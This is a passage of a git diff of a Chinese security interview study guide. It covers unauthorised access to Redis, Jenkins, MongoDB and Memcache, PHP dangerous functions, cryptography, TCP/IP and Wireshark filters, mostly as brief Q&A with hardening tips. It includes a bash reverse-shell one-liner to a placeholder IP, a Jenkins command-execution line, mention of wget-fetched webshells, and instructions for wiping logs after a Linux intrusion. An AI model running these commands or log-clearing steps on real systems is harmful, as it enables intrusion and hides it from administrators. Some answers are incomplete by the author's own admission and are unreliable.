0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器 -### 利用条件和方法 +### 利用条件和方法 条件: @@ -1110,23 +1109,23 @@ Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务 - 通过crontab反弹shell - slave主从模式利用 -### 修复 +### 修复 - 密码验证 - 降权运行 - 限制ip/修改端口 -## Jenkins未授权访问 +## Jenkins未授权访问 攻击者通过未授权访问进入脚本命令执行界面执行攻击指令 `println "ifconfig -a".execute().text` 执行一些系统命令,利用wget下载webshell -## MongoDB未授权访问 +## MongoDB未授权访问 开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。 -### 防护 +### 防护 1、为MongoDB添加认证: 1)MongoDB启动时添加–auth参数 @@ -1142,33 +1141,33 @@ MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些 或在/etc/mongodb.conf文件中添加以下内容: bind_ip = 127.0.0.1 -## Memcache未授权访问 +## Memcache未授权访问 Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。 -### 利用 +### 利用 1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。 2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在 -### 漏洞加固 +### 漏洞加固 - 1、设置memchached只允许本地访问 - 2、禁止外网访问Memcached 11211端口 - 3、编译时加上–enable-sasl,启用SASL认证 -## FFMPEG 本地文件读取漏洞 +## FFMPEG 本地文件读取漏洞 -### 原理 +### 原理 通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。 -# 安全知识 +# 安全知识 -## WEB +## WEB -### 常用WEB开发JAVA框架 +### 常用WEB开发JAVA框架 STRUTS,SPRING 常见的java框架漏洞 @@ -1177,24 +1176,24 @@ STRUTS,SPRING 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了 -### 同源策略 +### 同源策略 同源策略限制不同源对当前document的属性内容进行读取或设置。 不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。 -### Jsonp安全攻防技术,怎么写Jsonp的攻击页面? +### Jsonp安全攻防技术,怎么写Jsonp的攻击页面? -#### 涉及到Jsonp的安全攻防内容 +#### 涉及到Jsonp的安全攻防内容 JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。 -#### 攻击页面 +#### 攻击页面 JSON劫持,跨域劫持敏感信息,页面类似于 ``` function wooyun(v){ - alert(v.username); +alert(v.username); } @@ -1203,19 +1202,19 @@ function wooyun(v){ Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。 JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。 -## PHP +## PHP -### php中命令执行涉及到的函数 +### php中命令执行涉及到的函数 1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open() -### 安全模式下绕过php的disable fuction +### 安全模式下绕过php的disable fuction DL函数,组件漏洞,环境变量。 -### PHP弱类型 +### PHP弱类型 `==` 在进行比较的时候,会先将字符串类型转化成相同,再比较 @@ -1223,20 +1222,20 @@ DL函数,组件漏洞,环境变量。 `0e`开头的字符串等于0 -## 数据库 +## 数据库 -### 各种数据库文件存放的位置 +### 各种数据库文件存放的位置 mysql:`/usr/local/mysql/data/` `C:\ProgramData\MySQL\MySQL Server 5.6\Data\` oracle:`$ORACLE_BASE/oradata/$ORACLE_SID/` -## 系统 +## 系统 -### 如何清理日志 +### 如何清理日志 meterpreter: `clearev` -### 入侵 Linux 服务器后需要清除哪些日志? +### 入侵 Linux 服务器后需要清除哪些日志? web日志,如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除 @@ -1248,9 +1247,9 @@ wtmp日志的清除,/var/log/wtmp 登录日志清除 /var/log/secure -### LINUX +### LINUX -#### 查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点 +#### 查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点 ``` netstat -antp` `ss -l @@ -1258,13 +1257,13 @@ netstat -antp` `ss -l ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 -#### 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? +#### 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? ``` bash -i>&/dev/tcp/x.x.x.x/4444 0>&1 ``` -#### 通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用? +#### 通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用? ``` ls /proc @@ -1272,26 +1271,26 @@ ls /proc 系统信息,硬件信息,内核版本,加载的模块,进程 -#### linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。 +#### linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。 `/etc/ssh/sshd___config` iptables配置 -#### 如何一条命令查看文件内容最后一百行 +#### 如何一条命令查看文件内容最后一百行 ``` tail -n 100 filename ``` -### Windows +### Windows -#### 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。 +#### 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。 -## 密码学 +## 密码学 -### AES/DES的具体工作步骤 +### AES/DES的具体工作步骤 -### RSA算法 +### RSA算法 加密: $$ @@ -1314,35 +1313,35 @@ $$ n是两个大质数p,q的积 -### 分组密码的加密模式 +### 分组密码的加密模式 -### 如何生成一个安全的随机数? +### 如何生成一个安全的随机数? 引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。 -### SSL握手过程 +### SSL握手过程 建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。 这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。 -### 对称加密与非对称加密的不同,分别用在哪些方面 +### 对称加密与非对称加密的不同,分别用在哪些方面 -## TCP/IP +## TCP/IP -### TCP三次握手的过程以及对应的状态转换 +### TCP三次握手的过程以及对应的状态转换 (1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x; (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y; (3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。 -### TCP和UDP协议区别 +### TCP和UDP协议区别 tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证 -### https的建立过程 +### https的建立过程 - 客户端发送请求到服务器端 - 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在 @@ -1351,9 +1350,9 @@ tcp保证数据完整性和顺序,udp不保证 - 客户端使用共享密钥解密数据 - SSL加密建立 -## 流量分析 +## 流量分析 -### wireshark简单的过滤规则 +### wireshark简单的过滤规则 **过滤ip**: @@ -1371,6 +1370,6 @@ tcp保证数据完整性和顺序,udp不保证 过滤get/post包`http.request.mothod=="GET/POST"` -## 防火墙 +## 防火墙 -### 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。 +### 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。